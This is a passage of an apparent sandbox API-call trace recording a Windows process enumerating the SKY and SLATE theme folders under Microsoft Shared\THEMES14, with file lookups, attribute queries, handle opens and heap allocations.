ftLastAccessTime.dwLowDateTime=0x5ad387f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x8573, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0 [0062.598] GetLastError () returned 0x12 [0062.598] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dbf0) returned 1 [0062.598] FindClose (in: hFindFile=0x60d160 | out: hFindFile=0x60d160) returned 1 [0062.598] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfa4280) returned 1 [0062.598] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c628) returned 1 [0062.598] FindNextFileW (in: hFindFile=0x60d1e0, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a980590, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d2c00d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d2c00d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="SKY", cAlternateFileName="")) returned 1 [0062.598] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c628 [0062.598] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sky"), fInfoLevelId=0x0, lpFileInformation=0x174ee50 | out: lpFileInformation=0x174ee50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a980590, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d2c00d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d2c00d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0062.600] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sky"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x184 [0062.600] SetFileTime (hFile=0x184, lpCreationTime=0x0, lpLastAccessTime=0x174ee94, lpLastWriteTime=0x174ee94) returned 0 [0062.600] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x4000) returned 0xfb1b88 [0062.600] DeviceIoControl (in: hDevice=0x184, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xfb1b88, nOutBufferSize=0x4000, lpBytesReturned=0x174eeec, lpOverlapped=0x0 | out: lpOutBuffer=0xfb1b88, lpBytesReturned=0x174eeec, lpOverlapped=0x0) returned 0 [0062.600] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb1b88) returned 1 [0062.600] NtClose (Handle=0x184) returned 0x0 [0062.600] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c628) returned 1 [0062.600] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c628 [0062.600] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dbf0 [0062.601] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dd00 [0062.601] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\*", fInfoLevelId=0x1, lpFindFileData=0x174ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174ec9c) returned 0x60d160 [0062.601] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a980590, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d2c00d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d2c00d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0062.601] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x3a9, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0062.601] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dc78 [0062.601] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dc78) returned 1 [0062.601] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dc78 [0062.601] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dc78) returned 1 [0062.601] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dc78 [0062.601] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xfa4280 [0062.601] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dbf0) returned 1 [0062.601] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xfaf760 [0062.601] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xfafca8 [0062.601] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dc78) returned 1 [0062.601] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x25f0ff00, ftCreationTime.dwHighDateTime=0x1cab7f2, ftLastAccessTime.dwLowDateTime=0x6d2c00d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x25f0ff00, ftLastWriteTime.dwHighDateTime=0x1cab7f2, nFileSizeHigh=0x0, nFileSizeLow=0x1413d, dwReserved0=0x0, dwReserved1=0x0, cFileName="SKY.ELM", cAlternateFileName="")) returned 1 [0062.601] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dc78 [0062.601] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dc78) returned 1 [0062.601] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dc78 [0062.601] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dc78) returned 1 [0062.601] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dc78 [0062.601] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xfaf780 [0062.601] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xfafdb0 [0062.601] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dc78) returned 1 [0062.601] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5a980590, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x1bc, dwReserved0=0x0, dwReserved1=0x0, cFileName="SKY.INF", cAlternateFileName="")) returned 1 [0062.601] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dc78 [0062.602] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dc78) returned 1 [0062.602] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dc78 [0062.602] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dc78) returned 1 [0062.602] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dc78 [0062.602] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xfaf7a0 [0062.602] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xfafeb8 [0062.602] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dc78) returned 1 [0062.602] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad387f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x7279, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0062.602] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dc78 [0062.602] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dc78) returned 1 [0062.602] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dc78 [0062.602] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dc78) returned 1 [0062.602] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dc78 [0062.602] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xfaf7c0 [0062.602] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xfaffc0 [0062.602] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dc78) returned 1 [0062.602] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad387f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x7279, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0 [0062.602] GetLastError () returned 0x12 [0062.602] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\*", fInfoLevelId=0x1, lpFindFileData=0x174ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174ec9c) returned 0x60d220 [0062.602] FindClose (in: hFindFile=0x60d160 | out: hFindFile=0x60d160) returned 1 [0062.602] FindNextFileW (in: hFindFile=0x60d220, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a980590, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d2c00d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d2c00d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0062.602] FindNextFileW (in: hFindFile=0x60d220, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x3a9, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0062.602] FindNextFileW (in: hFindFile=0x60d220, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x25f0ff00, ftCreationTime.dwHighDateTime=0x1cab7f2, ftLastAccessTime.dwLowDateTime=0x6d2c00d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x25f0ff00, ftLastWriteTime.dwHighDateTime=0x1cab7f2, nFileSizeHigh=0x0, nFileSizeLow=0x1413d, dwReserved0=0x0, dwReserved1=0x0, cFileName="SKY.ELM", cAlternateFileName="")) returned 1 [0062.602] FindNextFileW (in: hFindFile=0x60d220, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5a980590, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x1bc, dwReserved0=0x0, dwReserved1=0x0, cFileName="SKY.INF", cAlternateFileName="")) returned 1 [0062.602] FindNextFileW (in: hFindFile=0x60d220, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad387f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x7279, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0062.603] FindNextFileW (in: hFindFile=0x60d220, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad387f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x7279, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0 [0062.603] GetLastError () returned 0x12 [0062.603] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dd00) returned 1 [0062.603] FindClose (in: hFindFile=0x60d220 | out: hFindFile=0x60d220) returned 1 [0062.603] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfa4280) returned 1 [0062.603] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c628) returned 1 [0062.603] FindNextFileW (in: hFindFile=0x60d1e0, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a980590, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d4d5410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d4d5410, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="SLATE", cAlternateFileName="")) returned 1 [0062.603] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c628 [0062.603] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\slate"), fInfoLevelId=0x0, lpFileInformation=0x174ee50 | out: lpFileInformation=0x174ee50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a980590, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d4d5410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d4d5410, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0062.621] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\slate"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x190 [0062.621] SetFileTime (hFile=0x190, lpCreationTime=0x0, lpLastAccessTime=0x174ee94, lpLastWriteTime=0x174ee94) returned 0 [0062.621] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x4000) returned 0xfb1b88 [0062.621] DeviceIoControl (in: hDevice=0x190, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xfb1b88, nOutBufferSize=0x4000, lpBytesReturned=0x174eeec, lpOverlapped=0x0 | out: lpOutBuffer=0xfb1b88, lpBytesReturned=0x174eeec, lpOverlapped=0x0) returned 0 [0062.621] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb1b88) returned 1 [0062.621] NtClose (Handle=0x190) returned 0x0 [0062.621] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c628) returned 1 [0062.621] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c628 [0062.621] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dd00 [0062.621] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dc78 [0062.621] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\*", fInfoLevelId=0x1, lpFindFileData=0x174ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174ec9c) returned 0x60d220 [0062.621] FindNextFileW (in: hFindFile=0x60d220, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a980590, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d4d5410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d4d5410, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0062.621] FindNextFileW (in: hFindFile=0x60d220, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d084c30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x3f1, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0062.621] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dbf0 [0062.622] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dbf0) returned 1 [0062.622] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dbf0 [0062.622] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dbf0) returned 1 [0062.622] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dbf0 [0062.622] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xfa4280 [0062.622] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dd00) returned 1 [0062.622] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xfaf7e0 [0062.622] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xfb00c8 [0062.622] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dbf0) returned 1 [0062.622] FindNextFileW (in: hFindFile=0x60d220, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27222c00, ftCreationTime.dwHighDateTime=0x1cab7f2, ftLastAccessTime.dwLowDateTime=0x5a9f29b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x27222c00, ftLastWriteTime.dwHighDateTime=0x1cab7f2, nFileSizeHigh=0x0, nFileSizeLow=0x14c40, dwReserved0=0x0, dwReserved1=0x0, cFileName="SLATE.ELM", cAlternateFileName="")) returned 1 [0062.622] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dbf0 [0062.622] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dbf0) returned 1 [0062.622] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dbf0 [0062.622] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dbf0) returned 1 [0062.622] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dbf0 [0062.622] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xfaf800 [0062.622] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xfb01d0 [0062.622] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dbf0) returned 1 [0062.622] FindNextFileW (in: hFindFile=0x60d220, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5a9f29b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x1f4, dwReserved0=0x0, dwReserved1=0x0, cFileName="SLATE.INF", cAlternateFileName="")) returned 1 [0062.622] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dbf0 [0062.622] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dbf0) returned 1 [0062.622] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dbf0 [0062.622] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dbf0) returned 1 [0062.622] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dbf0 [0062.622] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xfaf820 [0062.622] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xfb02d8 [0062.623] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dbf0) returned 1 [0062.623] FindNextFileW (in: hFindFile=0x60d220, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d4d5410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x6a29, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0062.623] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dbf0 [0062.623] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dbf0) returned 1 [0062.623] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dbf0 [0062.623] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dbf0) returned 1 [0062.623] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dbf0 [0062.623] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xfaf840 [0062.623] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xfb03e0 [0062.623] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dbf0) returned 1 [0062.623] FindNextFileW (in: hFindFile=0x60d220, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d4d5410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x6a29, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0 [0062.623] GetLastError () returned 0x12 [0062.623] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\*", fInfoLevelId=0x1, lpFindFileData=0x174ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174ec9c) returned 0x60d160 [0062.623] FindClose (in: hFindFile=0x60d220 | out: hFindFile=0x60d220) returned 1 [0062.623] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a980590, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d4d5410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d4d5410, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0062.623] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d084c30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x3f1, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0062.623] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27222c00, ftCreationTime.dwHighDateTime=0x1cab7f2, ftLastAccessTime.dwLowDateTime=0x5a9f29b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x27222c00, ftLastWriteTime.dwHighDateTime=0x1cab7f2, nFileSizeHigh=0x0, nFileSizeLow=0x14c40, dwReserved0=0x0, dwReserved1=0x0, cFileName="SLATE.ELM", cAlternateFileName="")) returned 1 [0062.623] FindNextFileW (in: hFindFile=0x60d160, 